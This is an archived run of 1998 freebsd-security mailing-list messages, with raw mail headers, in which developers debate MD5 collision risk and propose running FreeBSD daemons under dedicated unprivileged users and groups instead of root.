mms.4.60.Jun.27.1996.03.02.53.sun4.51.EzMail.2.0.CUILIB.3.45.SNAP.NOT.LINKED.unix3.andrew.cmu.edu.sun4m.54 via MS.5.6.unix3.andrew.cmu.edu.sun4_51; Mon, 16 Nov 1998 16:03:02 -0500 (EST) Message-ID: Date: Mon, 16 Nov 1998 16:03:02 -0500 (EST) From: Thomas Valentino Crimi To: Robert Watson Subject: Re: Would this make FreeBSD more secure? Cc: Terry Lambert , freebsd-security@FreeBSD.ORG In-Reply-To: References: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Excerpts from mail: 16-Nov-98 Re: Would this make FreeBSD.. by Robert Watson@cyrus.wats > I don't think I would consider md5 broken exactly. Just subject to > intermittent collisions. Is there a deterministic (and fast) way to > detect whether one is employing a hash subject to the described collision > attack? If so, perhaps we can add a piece of code that attempts a number > of values of salt, resulting in a more friendly hash. (I am also tossing in replys to others on the md5 issue) I'm not sure if I was being too rash, but that statement came from a recollection that pseudo-collisions have been found for md5 a quick search turns up http://www.rsa.com/rsalabs/faq/html/3-6-6.html It would seem that it isn't as much of an issue for passwords where long-term security is not an issue, so maybe as a passing comment was a bad idea. I do not, however, fall victim to thinking that as Poul pointed out that I thought the 128-bit keyspace was exhaustable. At most, I was too 'excited' at the pseudo-collisions ;) At the bottom of the same FAQ came the 1994 estimate at an md5 crack, I would wonder if the above information (mostly from 96 and I would imagine more work had been done in the two years since) makes any significant dents in the figure. If not, then I of course retract all statements as to md5 being broken. From my armchair point of view I can't imagine that to be the case, though. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 13:15:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA11782 for freebsd-security-outgoing; Mon, 16 Nov 1998 13:15:26 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mx1.dmz.fedex.com (mx1.dmz.fedex.com [199.81.194.37]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA11750 for ; Mon, 16 Nov 1998 13:15:05 -0800 (PST) (envelope-from wam@mohawk.dpd.fedex.com) Received: from mx1.zmd.fedex.com (sendmail@mx1.zmd.fedex.com [199.82.159.10]) by mx1.dmz.fedex.com (8.9.1/8.9.1) with ESMTP id PAA25782 for ; Mon, 16 Nov 1998 15:14:34 -0600 (CST) Received: from s07.sa.fedex.com (root@s07.sa.fedex.com [199.81.124.17]) by mx1.zmd.fedex.com (8.9.1/8.9.1) with ESMTP id PAA19037 for ; Mon, 16 Nov 1998 15:14:33 -0600 (CST) Received: from mohawk.dpd.fedex.com (mohawk.dpd.fedex.com [199.81.74.121]) by s07.sa.fedex.com (8.9.1/8.9.1) with SMTP id PAA06569; Mon, 16 Nov 1998 15:14:26 -0600 (CST) Message-Id: <199811162114.PAA06569@s07.sa.fedex.com> To: Matthew Dillon cc: Warner Losh , Andre Albsmeier , freebsd-security@FreeBSD.ORG, jkh@zippy.cdrom.com (Jordan K. Hubbard), dima@best.net (Dima Ruban) Subject: Re: Would this make FreeBSD more secure? & sendmail changes in OpenBSD 2.4 Date: Mon, 16 Nov 1998 15:13:54 -0600 From: William McVey Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In a thread titled "Would this make FreeBSD more secure?" Matthew Dillon wrote: > Ok, here is a proposal: > (1)Add a 'kmem' and 'tty' dummy user to /usr/src/etc/master.passwd. > Unfortunately, the operator uid is already using 2 (why it didn't > use 5 I'll never know), so give the kmem user uid 5 and the tty > user uid 4 (same as their groups except for the operator<>kmem > flip). If we are adding standard ids to the password file, what do you think of adding the following loginids and groupids for services that can run standalone as unprivilged users (these are ones I've set up on my set of machines, it'd be nice to "standardize" them): smtp (uid and gid of 25) www (uid and gid of 80) ftp (uid and gid of 21) tftp (uid and gid of 69) syslog (uid and gid of 514) (another root daemon which probably doesn't need root, I just made the changes on one of my machines... I'll let the list know how it works out.) I've never like lumping different types services under "daemon" or "nobody". > (2)Change identd and ntalkd entries in inetd.conf to run ntalkd tty:tty > and identd kmem:kmem. > > (3)Add an lp user and an lp group (what uid/gid ?). I'd chose uid/gid 515, of course, you probably could have predicted that. Not coincidentally, I start numbering users as 1025. :-) > (5) > > Use RCAPF_SETTIME to fix xntpd > > Use TCAPF_LOWPORT to fix xntpd, lpd, bind, sendmail, and possibly > others. I'm not convinced that sendmail and lpd require TCAPF_LOWPORT. I think inetd and the 'wait' attribute can do what they need, but I'm all for adding the solution as defined above. It probably would be usefull for bind (which as a single process needs to bind to udp/53 as well as tcp/53). >sendmail might still have to be run by root by default for > program pipes, but that's a different problem that I presume > Eric Allman will work on at some point (such functionality should > really be moved into mail.local, IMHO, I'll email Eric and see > what he has to say about it). [ this is also directed to a running thread titled "sendmail changes in OpenBSD 2.4" ] I'm a fan of running a setuid root mail.local, executable by only only group 'smtp'. Sendmail invoked as a wait service out of inetd as user/group of 'smtp'. This avoids the potential misuse of the delivery program by regular users (which are not in group 'smtp'), allows sendmail to run unprivileged, and requires no code changes to operate. To strip the setuid root bit from the delivery agent will require the daemon to be privileged so that it can setuid to the user who's mail is being handled. I would say a setuid root program that no-one but the MTA can execute is the lesser of two evils. -- William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 13:22:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA13516 for freebsd-security-outgoing; Mon, 16 Nov 1998 13:22:23 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA13465 for ; Mon, 16 Nov 1998 13:22:15 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.1/8.8.5) with ESMTP id WAA24580; Mon, 16 Nov 1998 22:19:09 +0100 (CET) To: Adam Shostack cc: Robert Watson , Thomas Valentino Crimi , Terry Lambert , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? In-reply-to: Your message of "Mon, 16 Nov 1998 14:45:56 EST." <19981116144556.A11685@weathership.homeport.org> Date: Mon, 16 Nov 1998 22:19:09 +0100 Message-ID: <24578.911251149@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <19981116144556.A11685@weathership.homeport.org>, Adam Shostack writ es: >My understanding of Dobbertin's attack is that he generates both >halves of a collision pair, not finds an arbitrary match to a >pre-existing value. If he has the latter, that may or may not >transform into an attack on the password system. You'll need to find >a printable (<9 character?) value that collides if you want to attack >the password system via this route. Last I heard about it, Dobbertin didn't attack MD5, but an MD5-like algorithm. Second, you'd need to find a thousand consecutive collisions to hack a password. Check the code. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." "ttyv0" -- What UNIX calls a $20K state-of-the-art, 3D, hi-res color terminal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 13:26:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA14391 for freebsd-security-outgoing; Mon, 16 Nov 1998 13:26:52 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from alive.znep.com (207-178-54-226.go2net.com [207.178.54.226]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA14383 for ; Mon, 16 Nov 1998 13:26:50 -0800 (PST) (envelope-from marcs@znep.com) Received: from localhost (marcs@localhost) by alive.znep.com (8.9.1/8.9.1) with ESMTP id NAA08661; Mon, 16 Nov 1998 13:22:47 -0800 (PST) (envelope-from marcs@znep.com) Date: Mon, 16 Nov 1998 13:22:47 -0800 (PST) From: Marc Slemko To: Matthew Dillon cc: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? In-Reply-To: <199811161941.LAA21747@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 16 Nov 1998, Matthew Dillon wrote: > > We define several capabilities right off the bat: > > RCAPF_LOWPORT allow binding to low ports No. Again, read the archives. All this has been gone over and over. This makes things LESS secure in general. If programs have this ability, now they can't give it up. So suddenly all those simple programs that used to bind to the port and setuid() can't do that any more. Now if you compromise one program, you can compromise them all. There are some advantages to adding this functionality and some things which it can help, but you need to be very careful or you end up in a bigger mess than you were before. Your claim that the concept of secure ports is somewhat obsolete misses half the equation: one use of secure ports is to authenticate a source system. That was always a bad idea. The other use, however, which is still very valid, is to secure the server against untrusted users binding to the port. There are zillions of protocols where the client can't verify the server in any useful way. Requiring special privs. to bind to the port that the server runs as helps this out in a big way. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 13:34:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA16455 for freebsd-security-outgoing; Mon, 16 Nov 1998 13:34:13 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mx1.dmz.fedex.com (mx1.dmz.fedex.com [199.81.194.37]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA16306 for ; Mon, 16 Nov 1998 13:34:02 -0800 (PST) (envelope-from wam@mohawk.dpd.fedex.com) Received: from mx2.zmd.fedex.com (sendmail@mx2.zmd.fedex.com [199.82.159.11]) by mx1.dmz.fedex.com (8.9.1/8.9.1) with ESMTP id PAA28138 for ; Mon, 16 Nov 1998 15:33:36 -0600 (CST) Received: from s07.sa.fedex.com (root@s07.sa.fedex.com [199.81.124.17]) by mx2.zmd.fedex.com (8.9.1/8.9.1) with ESMTP id PAA05712 for ; Mon, 16 Nov 1998 15:33:27 -0600 (CST) Received: from mohawk.dpd.fedex.com (mohawk.dpd.fedex.com [199.81.74.121]) by s07.sa.fedex.com (8.9.1/8.9.1) with SMTP id PAA12125 for ; Mon, 16 Nov 1998 15:33:26 -0600 (CST) Message-Id: <199811162133.PAA12125@s07.sa.fedex.com> To: freebsd-security@FreeBSD.ORG Subject: Another security suggestion (group nospace) Organization: Federal Express Data Protection Distributed Projects Date: Mon, 16 Nov 1998 15:32:54 -0600 From: William McVey Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I've added a "nospace" group (I user gid 57) to my system and have changed all "world writeable" directories (/tmp /var/tmp /usr/tmp etc) to mode 1707, grouped to 'nospace'. I then put my 'www', 'tftp', 'smtp', 'daemon', 'nobody' and other untrusted daemon ids into group nospace, effectivly shutting these ids off from writing onto the filesystem. Some of these daemons (like smtp) require the ability to write to the filesystem (queue files, etc); however, most don't. For example, this helps keeps any potential compromise of my web server id from spreading into a root compromise. -- William P.S. If you do this, be sure to change /usr/libexec/locate.updatedb, which by default has user 'nobody' writing files in /tmp. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 21:23:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA16677 for freebsd-security-outgoing; Mon, 16 Nov 1998 21:23:22 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA16672 for ; Mon, 16 Nov 1998 21:23:21 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.1/8.9.1) id VAA23411; Mon, 16 Nov 1998 21:22:50 -0800 (PST) (envelope-from dillon) Date: Mon, 16 Nov 1998 21:22:50 -0800 (PST) From: Matthew Dillon Message-Id: <199811170522.VAA23411@apollo.backplane.com> To: Marc Slemko Cc: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org : :On Mon, 16 Nov 1998, Matthew Dillon wrote: : :> :> We define several capabilities right off the bat: :> :> RCAPF_LOWPORT allow binding to low ports : :No. : :Again, read the archives. All this has been gone over and over. : :This makes things LESS secure in general. : :If programs have this ability, now they can't give it up. So :suddenly all those simple programs that used to bind to the port :and setuid() can't do that any more. : :Now if you compromise one program, you can compromise them all. Nonsense. Firstly, you CAN give it up, in fact the parent can force the child to give it away on fork or exec, and secondly I think I did mention that calling setuid() would clear the capabilities. Didn't I? Maybe I didn't send out that email, I do a lot of editing. If you are going to shoot the idea down, at least provide some hard facts, and AT LEAST read my postings. I think I've covered it pretty well. You aren't responding to anything I wrote, you are simply responding from your gut. -Matt Matthew Dillon Engineering, HiWay Technologies, Inc. & BEST Internet Communications & God knows what else. (Please include original email in any response) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 21:28:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA17085 for freebsd-security-outgoing; Mon, 16 Nov 1998 21:28:28 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA17070 for ; Mon, 16 Nov 1998 21:28:21 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.1/8.9.1) id VAA23429; Mon, 16 Nov 1998 21:27:33 -0800 (PST) (envelope-from dillon) Date: Mon, 16 Nov 1998 21:27:33 -0800 (PST) From: Matthew Dillon Message-Id: <199811170527.VAA23429@apollo.backplane.com> To: William McVey Cc: Warner Losh , Andre Albsmeier , freebsd-security@FreeBSD.ORG, jkh@zippy.cdrom.com (Jordan K. Hubbard), dima@best.net (Dima Ruban) Subject: Re: Would this make FreeBSD more secure? & sendmail changes in OpenBSD 2.4 References: <199811162114.PAA06569@s07.sa.fedex.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :> (1)Add a 'kmem' and 'tty' dummy user to /usr/src/etc/master.passwd. :> Unfortunately, the operator uid is already using 2 (why it didn't :> use 5 I'll never know), so give the kmem user uid 5 and the tty :> user uid 4 (same as their groups except for the operator<>kmem :> flip). : :If we are adding standard ids to the password file, what do you think of :adding the following loginids and groupids for services that can run :standalone as unprivilged users (these are ones I've set up on my set of :machines, it'd be nice to "standardize" them): : smtp (uid and gid of 25) : www (uid and gid of 80) : ftp (uid and gid of 21) : tftp (uid and gid of 69) : syslog (uid and gid of 514) : (another root daemon which probably doesn't need root, I : just made the changes on one of my machines... I'll let the : list know how it works out.) I agree. Normally I'd use the same uid as the group id if a group exists, or barring that the /etc/services port (but those start to infringe on what people use for real user id's, we probably have to keep the id's < 100). :I've never like lumping different types services under "daemon" or "nobody". Neither have I. I think it's a gaping security hole especially when web servers use nobody. :I'd chose uid/gid 515, of course, you probably could have predicted that. :Not coincidentally, I start numbering users as 1025. :-) 1000 for me, but I know a lot of people that start at 100. :> Use RCAPF_SETTIME to fix xntpd :> :> Use TCAPF_LOWPORT to fix xntpd, lpd, bind, sendmail, and possibly :> others. : :I'm not convinced that sendmail and lpd require TCAPF_LOWPORT. I think :inetd and the 'wait' attribute can do what they need, but I'm all for :adding the solution as defined above. It probably would be usefull for :bind (which as a single process needs to bind to udp/53 as well as tcp/53). I don't think they need it either, as long as sendmail and lpd are started as root and setuid() themselves after binding the port I'd be happy. :[ this is also directed to a running thread titled "sendmail changes in : OpenBSD 2.4" ] : :I'm a fan of running a setuid root mail.local, executable by only :only group 'smtp'. Sendmail invoked as a wait service out of inetd :as user/group of 'smtp'. This avoids the potential misuse of the :delivery program by regular users (which are not in group 'smtp'), :allows sendmail to run unprivileged, and requires no code changes :to operate. I've used this sort of security policy for other programs.. giving the ability to execute to the group, modes 710, but I'm not fond of it for general use. :To strip the setuid root bit from the delivery agent will require :the daemon to be privileged so that it can setuid to the user who's :mail is being handled. I would say a setuid root program that no-one :but the MTA can execute is the lesser of two evils. : : -- William I considered having a sysctl range for a non-root setuid() call capability, but figured too many people would start screaming. -Matt Matthew Dillon Engineering, HiWay Technologies, Inc. & BEST Internet Communications & God knows what else. (Please include original email in any response) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 22:06:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA21250 for freebsd-security-outgoing; Mon, 16 Nov 1998 22:06:47 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from alive.znep.com (207-178-54-226.go2net.com [207.178.54.226]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA21245 for ; Mon, 16 Nov 1998 22:06:44 -0800 (PST) (envelope-from marcs@znep.com) Received: from localhost (marcs@localhost) by alive.znep.com (8.9.1/8.9.1) with ESMTP id WAA09864; Mon, 16 Nov 1998 22:02:43 -0800 (PST) (envelope-from marcs@znep.com) Date: Mon, 16 Nov 1998 22:02:43 -0800 (PST) From: Marc Slemko To: Matthew Dillon cc: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? In-Reply-To: <199811170522.VAA23411@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 16 Nov 1998, Matthew Dillon wrote: > > : > :On Mon, 16 Nov 1998, Matthew Dillon wrote: > : > :> > :> We define several capabilities right off the bat: > :> > :> RCAPF_LOWPORT allow binding to low ports > : > :No. > : > :Again, read the archives. All this has been gone over and over. > : > :This makes things LESS secure in general. > : > :If programs have this ability, now they can't give it up. So > :suddenly all those simple programs that used to bind to the port > :and setuid() can't do that any more. > : > :Now if you compromise one program, you can compromise them all. > > Nonsense. Firstly, you CAN give it up, in fact the parent can > force the child to give it away on fork or exec, and secondly If it is only of use to processes that fork or exec, what is the point of it? Doesn't a simple setuid wrapper that opens the port, setuid()s then executes the program do just the same thing without any hassle? If you are trying to claim that an exploit would have to exec a program and therefore no one would be able to exploit it, that is silly, since if you can execute arbitrary code to run another program you can almost always do a whole lot more. > I think I did mention that calling setuid() would clear the > capabilities. Didn't I? Maybe I didn't send out that email, Hmm. I'm a bit confused. Who are you setuid()ing from and to? In reality, when you get down to it, the uses of this end up very limited, and have only a very minor impact on security since if something can usefully use this capability then they could just bind to the port as root then setuid() in a few lines of easy code. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 22:13:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA22074 for freebsd-security-outgoing; Mon, 16 Nov 1998 22:13:50 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA22069 for ; Mon, 16 Nov 1998 22:13:47 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.1/8.9.1) id WAA24267; Mon, 16 Nov 1998 22:13:04 -0800 (PST) (envelope-from dillon) Date: Mon, 16 Nov 1998 22:13:04 -0800 (PST) From: Matthew Dillon Message-Id: <199811170613.WAA24267@apollo.backplane.com> To: Marc Slemko Cc: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :> :> Nonsense. Firstly, you CAN give it up, in fact the parent can :> force the child to give it away on fork or exec, and secondly : :If it is only of use to processes that fork or exec, what is the point of :it? Doesn't a simple setuid wrapper that opens the port, setuid()s then :executes the program do just the same thing without any hassle? : :If you are trying to claim that an exploit would have to exec a program :and therefore no one would be able to exploit it, that is silly, since :if you can execute arbitrary code to run another program you can almost :always do a whole lot more. I am certainly not claiming that. You are talking complete nonsense now... you aren't even addressing the original points. You are confusing two different security conversations, trying to apply one to the other, and coming up clubs. Rather then argue, why don't you simply post a better solution to the problems we are trying to solve. -Matt Matthew Dillon Engineering, HiWay Technologies, Inc. & BEST Internet Communications & God knows what else. (Please include original email in any response) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 22:27:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA23852 for freebsd-security-outgoing; Mon, 16 Nov 1998 22:27:47 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA23845 for ; Mon, 16 Nov 1998 22:27:44 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.1/8.9.1) id WAA24375; Mon, 16 Nov 1998 22:27:16 -0800 (PST) (envelope-from dillon) Date: Mon, 16 Nov 1998 22:27:16 -0800 (PST) From: Matthew Dillon Message-Id: <199811170627.WAA24375@apollo.backplane.com> To: Matthew Dillon Cc: Warner Losh , Andre Albsmeier , Matthew Dillon , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <19981116081640.A2304@internal> <19981116072937.E969@internal> <19981115192224.A29686@internal> <19981115161548.A23869@internal> <199811151758.JAA15108@apollo.backplane.com> <19981115192224.A29686@internal> <199811152210.PAA01604@harmony.village.org> <19981116072937.E969@int <199811161842.LAA05020@harmony.village.org> <199811161941.LAA21747@apollo.backplane.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Ok, here's a limited updated proposal. I've tested everything except the proposed lpd changes. This proposal covers three major daemons and moves 6 root or suid root programs away from root. I think this is quite significant. (1) Add a 'kmem' and 'tty' dummy user to master.passwd. adjust inetd.conf to run identd and ntalkd using the new dummy user's to sandbox the kmem and tty group rights required. This also involves removing the getuid() test in talkd.c (2) Add a 'bind' user and a 'bind' group to master.passwd Use bind-8's -u and -g features to run named as bind:bind in the default rc.conf: named_flags="-u bind -g bind" (Or find a way to figure out whether this uid/gid exists and use the options or not use the options based on that, which is more compatible with prior installations but adds complexity that will quickly become stale. I suggest simply making it the default in the CVS tree). Cavet: in a multi-interface situation, with an interface that is brought up later, and so forth, named will not be able to automatically rebind and must be restarted. (Also ensure that named.conf is either group-bind-readable or world readable). However, I consider this a major, major improvement in security. I think it's worth the hassle. (3) Add the 'lpd' user and 'lpd' group to master.passwd. Fix lpd. lpd runs as root, and lpq and lprm are suid. Have lpd bind and setuid()/setgid() itself, have lpq and lprm be setuid() to the lpd user. USER and GROUP ID's I suggest: uid 4 for user 'tty' uid 5 for user 'kmem' (group kmem is uid 2, but the operator user already uses that user id so lets use uid 5, which is the operator group, for kmem). uid 53 for user bind, uid 53 for group bind Additionally, I suggest the discussion and addition of users and groups for other sandboxes: smtp for mail systems (future sendmail sandbox). www for www systems. others? Once these changes are in, we would continue the discussion on how to deal with other root-run programs, including xterm, xlock, sendmail, screen, and other worrysome programs. -Matt Matthew Dillon Engineering, HiWay Technologies, Inc. & BEST Internet Communications & God knows what else. (Please include original email in any response) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 22:42:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA25669 for freebsd-security-outgoing; Mon, 16 Nov 1998 22:42:16 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA25642 for ; Mon, 16 Nov 1998 22:42:08 -0800 (PST) (envelope-from andre.albsmeier@mchp.siemens.de) X-Envelope-Sender-Is: andre.albsmeier@mchp.siemens.de (at relayer david.siemens.de) Received: from mail.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.9.1a/8.9.1) with ESMTP id HAA11273 for ; Tue, 17 Nov 1998 07:41:41 +0100 (MET) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by mail.siemens.de (8.9.1a/8.9.1) with ESMTP id HAA12556 for ; Tue, 17 Nov 1998 07:41:41 +0100 (MET) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id HAA27300 for ; Tue, 17 Nov 1998 07:41:41 +0100 (CET) Message-ID: <19981117074138.A11602@internal> Date: Tue, 17 Nov 1998 07:41:38 +0100 From: Andre Albsmeier To: Nate Williams , Warner Losh Cc: Andre Albsmeier , Matthew Dillon , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <19981116072937.E969@internal> <19981115192224.A29686@internal> <19981115161548.A23869@internal> <199811151758.JAA15108@apollo.backplane.com> <199811152210.PAA01604@harmony.village.org> <199811160658.XAA01912 < <19981116125909.A28486@internal> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <199811161940.MAA19331@mt.sri.com>; from Nate Williams on Mon, Nov 16, 1998 at 12:40:12PM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Nov 16, 1998 at 12:40:12PM -0700, Nate Williams wrote: > > : That is exactly my opinion. I think a program should run with the > > : minimum privileges it really needs to and not more. > > > > I still think that it is a lot of effort for just one or two > > programs. xlock and xlockmore (basically the same program) are the > > only two programs that I'm aware of that need to access the password > > file and not change the uid of the process. Where are the rest of the > > half dozen :-)... > > The other issue is since they will no longer be setuid(), someone can > crash them and get the passwd file from them to crack later or we'd have > to change all of the 'don't dump core' code to look for setgid(passwd) > stuff. All of a sudden this 'simple fix' gets to be obnoxious and isn't > buying us a whole lot. That means that setuid progs don't dump core. I didn't know that but it sounds reasonable, of course. > > Setuid is *NOT* evil in all cases, you simply must be careful. The fact > of the matter is *some* programs must have root priviledges to do their > job securely and/or at all. I just was alarmed by xlockmore that a program runs setuid root all the time only to check the password the user enters. And, regardless whether xlockmore has known bugs or not, this applies to all screen savers. They do rather complex stuff from time to time and therefore it's likely they crash. > > > > > Nate -Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 22:44:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA26281 for freebsd-security-outgoing; Mon, 16 Nov 1998 22:44:39 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA26258 for ; Mon, 16 Nov 1998 22:44:34 -0800 (PST) (envelope-from andre.albsmeier@mchp.siemens.de) X-Envelope-Sender-Is: andre.albsmeier@mchp.siemens.de (at relayer david.siemens.de) Received: from mail.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.9.1a/8.9.1) with ESMTP id HAA11756 for ; Tue, 17 Nov 1998 07:44:05 +0100 (MET) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by mail.siemens.de (8.9.1a/8.9.1) with ESMTP id HAA13246 for ; Tue, 17 Nov 1998 07:44:05 +0100 (MET) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id HAA27363 for ; Tue, 17 Nov 1998 07:44:06 +0100 (CET) Message-ID: <19981117074403.B11602@internal> Date: Tue, 17 Nov 1998 07:44:03 +0100 From: Andre Albsmeier To: Warner Losh , Andre Albsmeier Cc: Matthew Dillon , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <19981116125909.A28486@internal> <19981116072937.E969@internal> <19981115192224.A29686@internal> <19981115161548.A23869@internal> <199811151758.JAA15108@apollo.backplane.com> <19981115192224.A29686@internal> <199811152210.PAA01604@harmony.vil Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <199811161849.LAA05146@harmony.village.org>; from Warner Losh on Mon, Nov 16, 1998 at 11:49:27AM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Nov 16, 1998 at 11:49:27AM -0700, Warner Losh wrote: > In message <19981116125909.A28486@internal> Andre Albsmeier writes: > : That is exactly my opinion. I think a program should run with the > : minimum privileges it really needs to and not more. > > I still think that it is a lot of effort for just one or two > programs. xlock and xlockmore (basically the same program) are the > only two programs that I'm aware of that need to access the password > file and not change the uid of the process. Where are the rest of the > half dozen :-)... Well, I didn't talk about half dozen but taking Matt's suggestions we are close to it. > > Warner -Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 22:48:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA27358 for freebsd-security-outgoing; Mon, 16 Nov 1998 22:48:25 -0800 (PST) (envelope-from 